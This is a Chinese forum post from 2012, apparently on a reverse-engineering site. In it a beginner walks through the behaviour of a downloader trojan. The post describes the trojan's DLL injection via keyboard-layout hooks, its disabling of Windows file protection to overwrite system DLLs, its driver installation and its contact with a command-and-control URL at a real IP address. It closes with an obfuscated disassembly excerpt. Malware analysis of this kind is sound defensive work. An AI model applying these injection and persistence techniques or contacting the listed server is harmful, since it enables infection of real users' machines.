-
-
[原创]简单分析一下载者木马
-
发表于:
2012-3-21 00:40
20068
-
这个病毒是最近求职要求分析,因为水平比较菜,所以很多地方没有自己分析到,只是简单的分析了一下行为,网络相关知识很菜所以写的很简单。贴出来给大家一起与大家一起研究研究。如有错误的地方和没分析到地方,希望大家指出。在此先谢大家了。
一、行为简述
该程序释放病毒文件,病毒文件运行后注入系统进程后进行以下操作:
1.操纵用户电脑停止和禁止安全软件运行.
2.破坏一些系统可关闭的服务文件,并把病毒文件写入系统文件隐藏自己。
3.下载病毒作者指定的病毒来对系统做更大的破坏。
二 简要流程图
三 病毒详细分析
基本流程
1.程序执行后释放02306fe3.exe病毒文件并执行。
2.程序建立文件InfoTemp.txt用于记录一些信息。
3.病毒会在system32目录生成一个以.*.tmp结尾的随机数命名的文件。
4.然后挂钩HOOK本进程空间的imm32.dll导出的ImmLoadLayout函数和ntdll.dll导 出的ZwQueryValueKey。
5.被挂钩的ZwQueryValueKey的处理流程是:若查询的键值是“Ime File”,则把之 前生成的tmp文件名拷贝到输入缓冲区中返回给调用者,其它情况恢复原来流程执行。
6.显式调用user32的函数LoadKeyboardLayoutA来加载新的键盘布局,该函数经过win32k的处理后最终调用ntdll的ZwQueryValueKey,所以病毒生成的tmp文件被返回给系统。
7.通过FindWindow(0, “Program Manager”); 找到explorer.exe的窗口句柄,并调用 PostMessage向该窗口发送WM_INPUTLANGCHANGEREQUEST消息。
8. 这样Explorer.exe就将病毒动态库加载起来了。
9. 02306fe3.exe程序退出
10. *.tmp程序运行后释放随机命名的*.sys文件并修改文件时间隐藏自己
11. 创建服务并启动。
12.*.sys文件启动后创建设备"\\\\.\\Guntior",用于与.temp程序联系。
13. 通过查询InfoTemp文件删除02306fe3.exe。
14. 通过调用C:\WINDOWS\system32\sfc_os.dll导出ID为5的函数,修改系统文件
C:\WINDOWS\system32\appmgmts.dll文件,把自身内容写入appmgmts.dll文 件。
15. 启动AppMgmt服务,appmgmts.dll被加载到svchost.exe中,获得执行。
16.修改C:\WINDOWS\system32\wbem\wbemcons.dll文件,
修改C:\WINDOWS\system32\MSCTF.dll文件,
并启动这个服务。
17. 修改C:\WINDOWS\system32\dmlocalsvc.dll文件,
修改C:\WINDOWS\system32\apphelp.dll文件
18. 删除*.temp文件。
19.清空Hosts文件。
20.Svchost.exe程序中病毒文件启动IE 命令行 "C:\Program Files\InternetExplorer\iexplore.exe" http://72.8.141.240:8080/htm/mac.htm?48 .
21.连接成功按照返回的信息写入InfoTemp中,执行指定操作下载程序并执行
因为第一次写文档,也不知道写点啥,所以比较乱。大家对付看把。
顺便请教个问题,以下代码是自己用什么工具生成的?还是自己写的?
.text:00401087 push 1
.text:00401089 push 0
.text:0040108B call sub_40352C
.text:00401090 push 0 ; uExitCode
.text:00401092 call ds:ExitProcess
.text:0040352C sub_40352C proc near ; CODE XREF: DllEntryPoint+B
.text:0040352C push 0AB7175FDh
.text:00403531 call sub_43BD2C
.UPX0:0043BD2C push 0C5C9224Ch
.UPX0:0043BD31 call sub_4047A8
.UPX0:0043BD36
.UPX0:0043BD36 loc_43BD36: ; CODE XREF: sub_401D43+7j
.UPX0:0043BD36 mov [esp+0], bh
.UPX0:0043BD39 mov word ptr [esp+arg_4], 56Bh
.UPX0:0043BD40 pushf
.UPX0:0043BD41 mov [esp+28h], esi
.UPX0:0043BD45 jmp loc_4046BF
.text:004047A8 pushf
.text:004047A9 mov byte ptr [esp+4+var_4], 0FCh
.text:004047AD mov [esp+4+arg_0], edx
.text:004047B1 pusha
.text:004047B2 push edx
.text:004047B3 mov [esp+28h], ebx
.text:004047B7 push [esp+28h+var_28]
.text:004047BA mov [esp+2Ch+var_2C], 0FD1Ah
.text:004047C0 pushf
.text:004047C1 mov [esp+30h+var_4], esi
.text:004047C5 call sub_43BDDD
.text:004047CA
.text:004047CA loc_4047CA: ; CODE XREF: sub_43B795-36CF3.text:004047CA pushf
.text:004047CB mov [esp+4+arg_24], eax
.text:004047CF push esi
.text:004047D0 pushf
.text:004047D1 pop [esp+0Ch+arg_1C]
.text:004047D5 jmp loc_40BBFB
UPX0:0043BDDD sub_43BDDD proc near ; CODE XREF: sub_4047A8+1Dp
.UPX0:0043BDDD
.UPX0:0043BDDD var_8 = byte ptr -8
.UPX0:0043BDDD arg_28 = dword ptr 2Ch
.UPX0:0043BDDD arg_3C = dword ptr 40h
.UPX0:0043BDDD
.UPX0:0043BDDD mov [esp+0], bl
.UPX0:0043BDE0 mov [esp+arg_28], esi
.UPX0:0043BDE4 push 0F15DB0B1h
.UPX0:0043BDE9 call sub_401E0B
.UPX0:0043BDEE
.UPX0:0043BDEE loc_43BDEE: ; CODE XREF: sub_40BBAF:l
.UPX0:0043BDEE pushf
.UPX0:0043BDEF mov [esp+8+var_8], dl
.UPX0:0043BDF2 mov [esp+8+arg_3C], edi
.UPX0:0043BDF6 call sub_43B978
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)